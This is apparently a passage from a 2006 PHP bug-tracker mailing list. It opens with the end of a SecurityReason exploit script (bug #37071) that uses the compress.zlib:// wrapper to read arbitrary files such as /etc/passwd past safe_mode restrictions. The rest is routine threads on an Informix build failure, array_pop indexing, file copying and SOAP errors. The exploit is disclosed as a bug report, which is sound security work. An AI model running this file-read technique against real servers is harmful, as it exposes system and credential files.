if(empty($_GET['file']))
{
if(empty($_POST['file']))
{
die(\nSet varibles \$tymczas, \$file or use for
varible file POST, GET like ?file=/etc/passwd\n
BCENTERFONTCOLOR=\RED\SecurityReason.Com
Exploit/FONT/CENTER/B
);
}
else
{
$file=$_POST['file'];
}
}
else
{
$file=$_GET['file'];
}
}

$temp=tempnam($tymczas, cx);

if(copy(compress.zlib://.$file, $temp))
{
$zrodlo = fopen($temp, r);
$tekst = fread($zrodlo, filesize($temp));
fclose($zrodlo);
echo B--- Start File
.htmlspecialchars($file).-/B\n.htmlspecialchars($tekst).\nB---
End File.htmlspecialchars($file). ---\n;
unlink($temp);

die(\nFONT COLOR=\RED\BFile.htmlspecialchars($file). has
been already loaded. SecurityReason Team;]/B/FONT);
}
else
{
die(FONT COLOR=\RED\CENTERSorry...
FileB.htmlspecialchars($file)./B dosen't exists or you don't have
access./CENTER/FONT);
}
?


Expected result:

list of /etc/passwd

Actual result:
--
list of /etc/passwd

-- 
Edit bug report at http://bugs.php.net/?id=37071edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37071r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37071r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37071r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37071r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37071r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37071r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37071r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37071r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37071r=support
Expected behavior:http://bugs.php.net/fix.php?id=37071r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37071r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37071r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37071r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37071r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37071r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37071r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37071r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37071r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37071r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37071r=mysqlcfg


#37058 [Fbk-Opn]: Building with Informix does not work

2006-04-13 Thread gquiring at gmail dot com
 ID:   37058
 User updated by:  gquiring at gmail dot com
 Reported By:  gquiring at gmail dot com
-Status:   Feedback
+Status:   Open
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.2
 New Comment:

I tried the CFLAG option same error.  I simplified my configure line
and it runs.  This the line I used when it does not work:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-config-file-path=/etc'
'--enable-force-cgi-redirect' '--enable-pic'
'--enable-inline-optimization' '--with-bz2' '--with-curl'
'--enable-soap' '--with-dom' '--with-gettext' '--with-ncurses'
'--with-iconv' '--with-layout=GNU' '--enable-bcmath' '--enable-exif'
'--enable-ftp' '--enable-magic-quotes' '--enable-safe-mode'
'--enable-sockets' '--enable-sysvsem' '--enable-discard-path'
'--enable-track-vars' '--enable-trans-sid' '--enable-yp'
'--enable-wddx' '--without-oci8' '--with-kerberos'
'--enable-memory-limit' '--enable-bcmath' '--enable-shmop'
'--enable-versioning' '--enable-calendar' '--enable-dbx' '--enable-dio'
'--enable-mcal'


Previous Comments:


[2006-04-12 21:43:44] [EMAIL PROTECTED]

I can't reproduce it on Solaris 8 with the same SDK and PHP 5.1 CVS.
Please check that this version of SDK is supposed to work on Solaris 9
('cause it's name says for Solaris 8).
Also make sure you have -mimpure-text option in your CFLAGS.



[2006-04-12 18:16:42] gquiring at gmail dot com

Downloaded and installed php5.1-200604121630 

Same error.



[2006-04-12 17:01:02] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





[2006-04-12 15:21:42] gquiring at gmail dot com

Messages during compile:
*** Warning: Linking the shared library libphp5.la against the
non-libtool
*** objects  /u/home/garyq/informix/lib/esql/ is not portable!



[2006-04-12 15:19:47] gquiring at gmail dot com

Description:

Apache 1.3.34  PHP 5.1.4  Informix CSDK 2.9UC4  Solaris 9

When executing apache:

Syntax error on line 205 of /usr/local/apache/conf/httpd.conf:
Cannot load /usr/local/apache/libexec/libphp5.so into server: ld.so.1:
./httpd:
fatal: relocation error: file
/u/home/garyq/informix/lib/esql/libifsql.so: symbo
l ifx_checkAPI: referenced symbol not found

Env:
INFORMIXSQLHOSTS=/u/home/garyq/informix/etc/sqlhosts
INFORMIXSERVER=dev1
INFORMIXDIR=/u/home/garyq/informix
LD_LIBRARY_PATH=/u/home/garyq/informix/lib:/u/home/garyq/informix/lib/esql:/u/home/garyq/informix/lib/tools:/usr/local/lib:/usr/lib:/var/local/lib:/opt/SUNWspro
/lib:/usr/openwin/lib








-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#36513 [Asn-Csd]: comment will be outputed in last line

2006-04-13 Thread dmitry
 ID:   36513
 Updated by:   [EMAIL PROTECTED]
 Reported By:  [EMAIL PROTECTED]
-Status:   Assigned
+Status:   Closed
 Bug Type: Scripting Engine problem
 Operating System: *
 PHP Version:  5CVS-2006-02-24 (snap)
 Assigned To:  dmitry
 New Comment:

Fixed in CVS HEAD, PHP_5_1 and PHP_4_4.

Comment '//EOF' is still lost for highlighter and tokenizer.


Previous Comments:


[2006-04-12 11:07:21] [EMAIL PROTECTED]

Just for the record: PHP4 behaves in the very same way.



[2006-04-11 11:40:11] [EMAIL PROTECTED]

Does not happen with PHP 4, does happen with PHP 5 and 6..



[2006-02-24 22:10:25] [EMAIL PROTECTED]

I applied the patch and the bug is gone :)



[2006-02-24 15:49:32] mv-php at binarysec dot com

Hello,  
 
A patch can be found at 
http://badcode.be/~descript/PHP/php-5.1.zend_language_scanner.l.patch 
 
-michael



[2006-02-24 14:19:43] [EMAIL PROTECTED]

Description:

If i have a php file with no ending ? no newline at the end and the
last line is a comment like this //} the comment //} will be printed
to the output.

this happens just with
? //}
no chars behind } and no newline

this bug occurs with php cli too.

php -r '//}'
outputs //}

Reproduce code:
---
?//}

Expected result:

empty output

Actual result:
--
//}





-- 
Edit this bug report at http://bugs.php.net/?id=36513edit=1


#37058 [Opn-Fbk]: Building with Informix does not work

2006-04-13 Thread tony2001
 ID:   37058
 Updated by:   [EMAIL PROTECTED]
 Reported By:  gquiring at gmail dot com
-Status:   Open
+Status:   Feedback
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.2
 New Comment:

What exactly did you remove from the configure line when it worked?


Previous Comments:


[2006-04-13 13:45:51] gquiring at gmail dot com

I tried the CFLAG option same error.  I simplified my configure line
and it runs.  This the line I used when it does not work:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-config-file-path=/etc'
'--enable-force-cgi-redirect' '--enable-pic'
'--enable-inline-optimization' '--with-bz2' '--with-curl'
'--enable-soap' '--with-dom' '--with-gettext' '--with-ncurses'
'--with-iconv' '--with-layout=GNU' '--enable-bcmath' '--enable-exif'
'--enable-ftp' '--enable-magic-quotes' '--enable-safe-mode'
'--enable-sockets' '--enable-sysvsem' '--enable-discard-path'
'--enable-track-vars' '--enable-trans-sid' '--enable-yp'
'--enable-wddx' '--without-oci8' '--with-kerberos'
'--enable-memory-limit' '--enable-bcmath' '--enable-shmop'
'--enable-versioning' '--enable-calendar' '--enable-dbx' '--enable-dio'
'--enable-mcal'



[2006-04-12 21:43:44] [EMAIL PROTECTED]

I can't reproduce it on Solaris 8 with the same SDK and PHP 5.1 CVS.
Please check that this version of SDK is supposed to work on Solaris 9
('cause it's name says for Solaris 8).
Also make sure you have -mimpure-text option in your CFLAGS.



[2006-04-12 18:16:42] gquiring at gmail dot com

Downloaded and installed php5.1-200604121630 

Same error.



[2006-04-12 17:01:02] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





[2006-04-12 15:21:42] gquiring at gmail dot com

Messages during compile:
*** Warning: Linking the shared library libphp5.la against the
non-libtool
*** objects  /u/home/garyq/informix/lib/esql/ is not portable!



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37058

-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#37058 [Fbk-Opn]: Building with Informix does not work

2006-04-13 Thread gquiring at gmail dot com
 ID:   37058
 User updated by:  gquiring at gmail dot com
 Reported By:  gquiring at gmail dot com
-Status:   Feedback
+Status:   Open
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.2
 New Comment:

I went very simple:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs'
'--with-config-file-path=/etc'

If you think you know what options might cause it let me know I don't
mind compiling a few times to narrow down which option makes it fail.


Previous Comments:


[2006-04-13 13:55:30] [EMAIL PROTECTED]

What exactly did you remove from the configure line when it worked?



[2006-04-13 13:45:51] gquiring at gmail dot com

I tried the CFLAG option same error.  I simplified my configure line
and it runs.  This the line I used when it does not work:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-config-file-path=/etc'
'--enable-force-cgi-redirect' '--enable-pic'
'--enable-inline-optimization' '--with-bz2' '--with-curl'
'--enable-soap' '--with-dom' '--with-gettext' '--with-ncurses'
'--with-iconv' '--with-layout=GNU' '--enable-bcmath' '--enable-exif'
'--enable-ftp' '--enable-magic-quotes' '--enable-safe-mode'
'--enable-sockets' '--enable-sysvsem' '--enable-discard-path'
'--enable-track-vars' '--enable-trans-sid' '--enable-yp'
'--enable-wddx' '--without-oci8' '--with-kerberos'
'--enable-memory-limit' '--enable-bcmath' '--enable-shmop'
'--enable-versioning' '--enable-calendar' '--enable-dbx' '--enable-dio'
'--enable-mcal'



[2006-04-12 21:43:44] [EMAIL PROTECTED]

I can't reproduce it on Solaris 8 with the same SDK and PHP 5.1 CVS.
Please check that this version of SDK is supposed to work on Solaris 9
('cause it's name says for Solaris 8).
Also make sure you have -mimpure-text option in your CFLAGS.



[2006-04-12 18:16:42] gquiring at gmail dot com

Downloaded and installed php5.1-200604121630 

Same error.



[2006-04-12 17:01:02] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37058

-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#37058 [Opn-Fbk]: Building with Informix does not work

2006-04-13 Thread tony2001
 ID:   37058
 Updated by:   [EMAIL PROTECTED]
 Reported By:  gquiring at gmail dot com
-Status:   Open
+Status:   Feedback
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.2
 New Comment:

Ok, could you please remove the options one by one and see which
specific option affects it?
--enable-pic looks like a good candidate to me.


Previous Comments:


[2006-04-13 13:58:10] gquiring at gmail dot com

I went very simple:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs'
'--with-config-file-path=/etc'

If you think you know what options might cause it let me know I don't
mind compiling a few times to narrow down which option makes it fail.



[2006-04-13 13:55:30] [EMAIL PROTECTED]

What exactly did you remove from the configure line when it worked?



[2006-04-13 13:45:51] gquiring at gmail dot com

I tried the CFLAG option same error.  I simplified my configure line
and it runs.  This the line I used when it does not work:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-config-file-path=/etc'
'--enable-force-cgi-redirect' '--enable-pic'
'--enable-inline-optimization' '--with-bz2' '--with-curl'
'--enable-soap' '--with-dom' '--with-gettext' '--with-ncurses'
'--with-iconv' '--with-layout=GNU' '--enable-bcmath' '--enable-exif'
'--enable-ftp' '--enable-magic-quotes' '--enable-safe-mode'
'--enable-sockets' '--enable-sysvsem' '--enable-discard-path'
'--enable-track-vars' '--enable-trans-sid' '--enable-yp'
'--enable-wddx' '--without-oci8' '--with-kerberos'
'--enable-memory-limit' '--enable-bcmath' '--enable-shmop'
'--enable-versioning' '--enable-calendar' '--enable-dbx' '--enable-dio'
'--enable-mcal'



[2006-04-12 21:43:44] [EMAIL PROTECTED]

I can't reproduce it on Solaris 8 with the same SDK and PHP 5.1 CVS.
Please check that this version of SDK is supposed to work on Solaris 9
('cause it's name says for Solaris 8).
Also make sure you have -mimpure-text option in your CFLAGS.



[2006-04-12 18:16:42] gquiring at gmail dot com

Downloaded and installed php5.1-200604121630 

Same error.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37058

-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#37072 [NEW]: Empty file when copying to flocked destination

2006-04-13 Thread wulff at ratatosk dot net
From: wulff at ratatosk dot net
Operating system: Windows XP SP2
PHP version:  5.1.2
PHP Bug Type: Filesystem function related
Bug description:  Empty file when copying to flocked destination

Description:

On Windows, when the destination file in copy() is flocked, the
destination ends up as an empty file.

On linux, the example code works as expected.

Reproduce code:
---
// echo foo  foo.txt
// echo bar  bar.txt
$fp = fopen('foo.txt', 'r');
@flock($fp, LOCK_EX);
copy('bar.txt', 'foo.txt');
fclose($fp);

Expected result:

c:\cat foo.txt bar.txt
foo
bar

Actual result:
--
c:\cat foo.txt bar.txt
bar

(File foo.txt is empty.)

-- 
Edit bug report at http://bugs.php.net/?id=37072edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37072r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37072r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37072r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37072r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37072r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37072r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37072r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37072r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37072r=support
Expected behavior:http://bugs.php.net/fix.php?id=37072r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37072r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37072r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37072r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37072r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37072r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37072r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37072r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37072r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37072r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37072r=mysqlcfg


#36975 [Com]: natcasesort() causes array_pop() to misbehave

2006-04-13 Thread crescentfreshpot at yahoo dot com
 ID:   36975
 Comment by:   crescentfreshpot at yahoo dot com
 Reported By:  ateixeira at gmail dot com
 Status:   Open
 Bug Type: Arrays related
 Operating System: *
 PHP Version:  5.1.3RC3
 New Comment:

This seems like an array_pop() bug to me.

This behaviour happens when array indices are 'out of order' and you
then use array_pop(). Any subsequent 'pushing' onto the end of the
array fails.

Using either the empty-square-bracket syntax or array_push() will both
fail. Square-bracket syntax issues the warning, array_push() does not.


Re: pushing new values onto the end of an array, the docs state: the
maximum of the existing integer indices is taken, and the new key will
be that maximum value + 1

It seems the engine cannot generate the next index after array_pop()
does it's thing.


Smaller reproduce code:
?php
error_reporting(E_ALL);
$list = array(1 = 'foo', 0 = 'baz');
array_pop($list);
$list[] = 'bar'; // - fails, issues warning
array_push($list, 'bar'); // - fails, no warning
print_r($list);
?


Expected Result
---
Array
(
[1] = foo
[2] = bar
[3] = bar
)


Actual Result
-
Warning: Cannot add element to the array as the next element is already
occupied in C:\Dev\webserver_root\t.php on line 5
Array
(
[1] = foo
)


Previous Comments:


[2006-04-04 21:06:37] ateixeira at gmail dot com

Description:

After using natcasesort, using the array_pop and array_push (or arr[] =
$value construct) in conjunction cause the following error (on
array_push):

Warning:  Cannot add element to the array as the next element is
already occupied in x.php on Line xx

Also, the value doesn't get pushed onto the array.

Reproduce code:
---
$fileList = array('aa', 'aa', 'bb', 'bb', 'cc', 'cc'); 

$test = natcasesort($fileList);

   

if ($test) {   

  echo natcasesort success!\n;   

}  

   

$val = array_pop($fileList);   

$fileList[] = $val;

   

print_r($fileList);


Expected result:

natcasesort success!
Array
(
[0] = aa
[1] = aa
[2] = bb
[3] = bb
[4] = cc
[5] = cc
)


Actual result:
--
natcasesort success!
PHP Warning:  Cannot add element to the array as the next element is
already occupied in /webroot/root/projects/RPMfe/j.php on line 10

Warning: Cannot add element to the array as the next element is already
occupied in /webroot/root/projects/RPMfe/j.php on line 10
Array
(
[0] = aa
[1] = aa
[3] = bb
[2] = bb
[5] = cc
)





-- 
Edit this bug report at http://bugs.php.net/?id=36975edit=1


#36975 [Opn]: natcasesort() causes array_pop() to misbehave

2006-04-13 Thread ateixeira at gmail dot com
 ID:   36975
 User updated by:  ateixeira at gmail dot com
 Reported By:  ateixeira at gmail dot com
 Status:   Open
 Bug Type: Arrays related
 Operating System: *
-PHP Version:  5.1.3RC3
+PHP Version:  5.1.2
 New Comment:

At first I thought array_pop was the problem as well.  However, I only
experienced this error when using 'natcasesort'.  If I changed to using
'sort' instead, the error went away.  In both natcasesort and sort, the
array's indices should be out of order due to the sorting, but
natcasesort is the only one to give me an error.  It's strange, though,
since when I run your test, I also get an error, proving your array_pop
issue.  So, that probably points to it being related to array_pop and
not natcasesort, but that still doesn't explain why 'sort' will work,
but not 'natcasesort'.


Previous Comments:


[2006-04-13 14:50:19] crescentfreshpot at yahoo dot com

This seems like an array_pop() bug to me.

This behaviour happens when array indices are 'out of order' and you
then use array_pop(). Any subsequent 'pushing' onto the end of the
array fails.

Using either the empty-square-bracket syntax or array_push() will both
fail. Square-bracket syntax issues the warning, array_push() does not.


Re: pushing new values onto the end of an array, the docs state: the
maximum of the existing integer indices is taken, and the new key will
be that maximum value + 1

It seems the engine cannot generate the next index after array_pop()
does it's thing.


Smaller reproduce code:
?php
error_reporting(E_ALL);
$list = array(1 = 'foo', 0 = 'baz');
array_pop($list);
$list[] = 'bar'; // - fails, issues warning
array_push($list, 'bar'); // - fails, no warning
print_r($list);
?


Expected Result
---
Array
(
[1] = foo
[2] = bar
[3] = bar
)


Actual Result
-
Warning: Cannot add element to the array as the next element is already
occupied in C:\Dev\webserver_root\t.php on line 5
Array
(
[1] = foo
)



[2006-04-04 21:06:37] ateixeira at gmail dot com

Description:

After using natcasesort, using the array_pop and array_push (or arr[] =
$value construct) in conjunction cause the following error (on
array_push):

Warning:  Cannot add element to the array as the next element is
already occupied in x.php on Line xx

Also, the value doesn't get pushed onto the array.

Reproduce code:
---
$fileList = array('aa', 'aa', 'bb', 'bb', 'cc', 'cc'); 

$test = natcasesort($fileList);

   

if ($test) {   

  echo natcasesort success!\n;   

}  

   

$val = array_pop($fileList);   

$fileList[] = $val;

   

print_r($fileList);


Expected result:

natcasesort success!
Array
(
[0] = aa
[1] = aa
[2] = bb
[3] = bb
[4] = cc
[5] = cc
)


Actual result:
--
natcasesort success!
PHP Warning:  Cannot add element to the array as the next element is
already occupied in /webroot/root/projects/RPMfe/j.php on line 10

Warning: Cannot add element to the array as the next element is already
occupied in /webroot/root/projects/RPMfe/j.php on line 10
Array
(
[0] = aa
[1] = aa
[3] = bb
[2] = bb
[5] = cc
)





-- 
Edit this bug report at http://bugs.php.net/?id=36975edit=1


#37058 [Fbk-Opn]: Building with Informix does not work

2006-04-13 Thread gquiring at gmail dot com
 ID:   37058
 User updated by:  gquiring at gmail dot com
 Reported By:  gquiring at gmail dot com
-Status:   Feedback
+Status:   Open
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.2
 New Comment:

This is what makes it fail:

--enable-versioning


Previous Comments:


[2006-04-13 14:07:26] [EMAIL PROTECTED]

Ok, could you please remove the options one by one and see which
specific option affects it?
--enable-pic looks like a good candidate to me.



[2006-04-13 13:58:10] gquiring at gmail dot com

I went very simple:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs'
'--with-config-file-path=/etc'

If you think you know what options might cause it let me know I don't
mind compiling a few times to narrow down which option makes it fail.



[2006-04-13 13:55:30] [EMAIL PROTECTED]

What exactly did you remove from the configure line when it worked?



[2006-04-13 13:45:51] gquiring at gmail dot com

I tried the CFLAG option same error.  I simplified my configure line
and it runs.  This the line I used when it does not work:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-config-file-path=/etc'
'--enable-force-cgi-redirect' '--enable-pic'
'--enable-inline-optimization' '--with-bz2' '--with-curl'
'--enable-soap' '--with-dom' '--with-gettext' '--with-ncurses'
'--with-iconv' '--with-layout=GNU' '--enable-bcmath' '--enable-exif'
'--enable-ftp' '--enable-magic-quotes' '--enable-safe-mode'
'--enable-sockets' '--enable-sysvsem' '--enable-discard-path'
'--enable-track-vars' '--enable-trans-sid' '--enable-yp'
'--enable-wddx' '--without-oci8' '--with-kerberos'
'--enable-memory-limit' '--enable-bcmath' '--enable-shmop'
'--enable-versioning' '--enable-calendar' '--enable-dbx' '--enable-dio'
'--enable-mcal'



[2006-04-12 21:43:44] [EMAIL PROTECTED]

I can't reproduce it on Solaris 8 with the same SDK and PHP 5.1 CVS.
Please check that this version of SDK is supposed to work on Solaris 9
('cause it's name says for Solaris 8).
Also make sure you have -mimpure-text option in your CFLAGS.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37058

-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#37058 [Opn-Bgs]: Building with Informix does not work

2006-04-13 Thread sniper
 ID:   37058
 Updated by:   [EMAIL PROTECTED]
 Reported By:  gquiring at gmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.3RC3
 New Comment:

Do NOT use configure options that you don't know what they are used
for! There is no bug here. 


Previous Comments:


[2006-04-13 17:19:17] gquiring at gmail dot com

This is what makes it fail:

--enable-versioning



[2006-04-13 14:07:26] [EMAIL PROTECTED]

Ok, could you please remove the options one by one and see which
specific option affects it?
--enable-pic looks like a good candidate to me.



[2006-04-13 13:58:10] gquiring at gmail dot com

I went very simple:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs'
'--with-config-file-path=/etc'

If you think you know what options might cause it let me know I don't
mind compiling a few times to narrow down which option makes it fail.



[2006-04-13 13:55:30] [EMAIL PROTECTED]

What exactly did you remove from the configure line when it worked?



[2006-04-13 13:45:51] gquiring at gmail dot com

I tried the CFLAG option same error.  I simplified my configure line
and it runs.  This the line I used when it does not work:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs' '--with-config-file-path=/etc'
'--enable-force-cgi-redirect' '--enable-pic'
'--enable-inline-optimization' '--with-bz2' '--with-curl'
'--enable-soap' '--with-dom' '--with-gettext' '--with-ncurses'
'--with-iconv' '--with-layout=GNU' '--enable-bcmath' '--enable-exif'
'--enable-ftp' '--enable-magic-quotes' '--enable-safe-mode'
'--enable-sockets' '--enable-sysvsem' '--enable-discard-path'
'--enable-track-vars' '--enable-trans-sid' '--enable-yp'
'--enable-wddx' '--without-oci8' '--with-kerberos'
'--enable-memory-limit' '--enable-bcmath' '--enable-shmop'
'--enable-versioning' '--enable-calendar' '--enable-dbx' '--enable-dio'
'--enable-mcal'



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37058

-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#36394 [Com]: Error Fetching http headers

2006-04-13 Thread Brian dot Reynolds at risaris dot com
 ID:   36394
 Comment by:   Brian dot Reynolds at risaris dot com
 Reported By:  nd_ngoka at xyratex dot com
 Status:   No Feedback
 Bug Type: SOAP related
 Operating System: Mandrake 10.1
 PHP Version:  5.1.2
 New Comment:

Hi, 

I too am getting the Error fetching http headers problem. The web
service is sitting on an SSL enabled Apache.

I'm running PHP 5.1.2 - downloaded and built today ;-)

PHP 5.1.2 (cgi) (built: Apr 13 2006 17:02:04)
Copyright (c) 1997-2006 The PHP Group
Zend Engine v2.1.0, Copyright (c) 1998-2006 Zend Technologies

running on SuSE 9.2 

This is my code:

?php
 
ini_set(soap.wsdl_cache_enabled, 0); // disabling WSDL cache
 
$soapClient = new SoapClient( https://dublin/adabas/Employees?WSDL; ,
array('allow_self_signed' = true) );
 
$adabasEmployeeGetKey = array('personnel_id'=50005000);
 
try{
$results = $soapClient-get($adabasEmployeeGetKey);
}
catch( Exception $e){
 
print An exception occurred!\n;
print Code : ;
print_r( $e-faultcode);
 
print \nString : ;
print_r( $e-faultstring);
 
print \n ;

}
 
print_r($results);
 
?


and this results are 

X-Powered-By: PHP/5.1.2
Content-type: text/html
 
An exception occurred!
Code : HTTP
String : Error Fetching http headers

I've included the allow_self_signed as the server certificate is
signed by a CA I rolled myself. 

I've been watching Apache's logs on the server side, and I see 

== /var/log/apache2/ssl_request_log ==
[13/Apr/2006:18:33:51 +0100] xxx.xxx.xxx.xxx TLSv1 DHE-RSA-AES256-SHA
GET /adabas/Employees?WSDL HTTP/1.0 9665 - -
[13/Apr/2006:18:33:51 +0100] xxx.xxx.xxx.xxx - - GET / 992 - -

What is that second GET doing? I would of assumed that I would of
seen a GET ( for WSDL) followed by a POST ( as the method is
called) ?

I have to admit I was just introduced to PHP yesterday, so any help
would be greatly appreciated!

Cheers,
Brian


Previous Comments:


[2006-02-22 01:00:04] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2006-02-14 22:55:53] [EMAIL PROTECTED]

I'm asking you to try the latest snapshot and to let us know if you're
still able to reproduce the problem.
I'm asking you to do it because you're using pretty oudated version
5.0.2 and there were a lot of changes since this version.



[2006-02-14 22:43:50] nd_ngoka at xyratex dot com

http://snaps.php.net/php5.1-latest.tar.gz

The above link contains a full version of PHP5.
Are you saying that the current PHP 5 (version 5.02) that I am using
has a bug it .


Are you recommending I uninstall the current version I have and then
build this version.

Please give me more detail on what your suggestion is.

Thanks in advance.



[2006-02-14 21:48:16] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





[2006-02-14 21:34:41] nd_ngoka at xyratex dot com

Description:

I installed php5-soap-5.0.2-1mdk, apache and php5 unto my mandrake 10.1
box. I intend to use the soap feature to communicate with another soap
server, in other to receive a licence key.

When I execute the php script that communicates with the soap server, I
get the following error code :
faultcode : HTTP
fault string : Error Fetching http headers


I am not able to make sense of this error code, as it doesn't indicate
if the problem is from the server side or client side.


Your help will be grately apprieciated.

Reproduce code:
---
$location= https://??soapRegistrationServer.php;;
$soap_uri = http://?soapRegistrationServer;;


$params = array('local_cert' = ?.key,
'location' = $location,
'uri' = $soap_uri,
'exceptions' = 0);
$client = new SoapClient(null,$params);
$fkparams = array('user' = username,
  'password' = paswword);
$newkey = $client-__soapCall('get_key', $fkparams);
if (is_soap_fault($newkey)) {
  echo SOAP Fault: (faultcode: .$newkey-faultcode., faultstring:
.$newkey-faultstring.\n;
}

echo $newkey.\n;
?

Expected result:

The script is might to return a key

Actual result:
--
faultcode : HTTP
fault string : Error Fetching http headers





-- 
Edit this bug report at http://bugs.php.net/?id=36394edit=1


#37058 [Bgs-Csd]: Building with Informix does not work

2006-04-13 Thread gquiring at gmail dot com
 ID:   37058
 User updated by:  gquiring at gmail dot com
 Reported By:  gquiring at gmail dot com
-Status:   Bogus
+Status:   Closed
 Bug Type: Compile Failure
 Operating System: Solaris 9
 PHP Version:  5.1.3RC3
 New Comment:

I took the stock configure options from a Red Hat server preinstalled
with PHP.  I *assumed* that would be a good way to compile PHP on
Solaris.  This problem has been seen many times with no answer in the
Informix groups.  So now we have the answer.


Previous Comments:


[2006-04-13 17:37:18] [EMAIL PROTECTED]

Do NOT use configure options that you don't know what they are used
for! There is no bug here. 



[2006-04-13 17:19:17] gquiring at gmail dot com

This is what makes it fail:

--enable-versioning



[2006-04-13 14:07:26] [EMAIL PROTECTED]

Ok, could you please remove the options one by one and see which
specific option affects it?
--enable-pic looks like a good candidate to me.



[2006-04-13 13:58:10] gquiring at gmail dot com

I went very simple:

./configure '--with-informix=/u/home/garyq/informix'
'--with-apxs=/usr/local/apache/bin/apxs'
'--with-config-file-path=/etc'

If you think you know what options might cause it let me know I don't
mind compiling a few times to narrow down which option makes it fail.



[2006-04-13 13:55:30] [EMAIL PROTECTED]

What exactly did you remove from the configure line when it worked?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37058

-- 
Edit this bug report at http://bugs.php.net/?id=37058edit=1


#37058 [Csd-Bgs]: Building with Informix does not work

2006-04-13 Thread tony2001
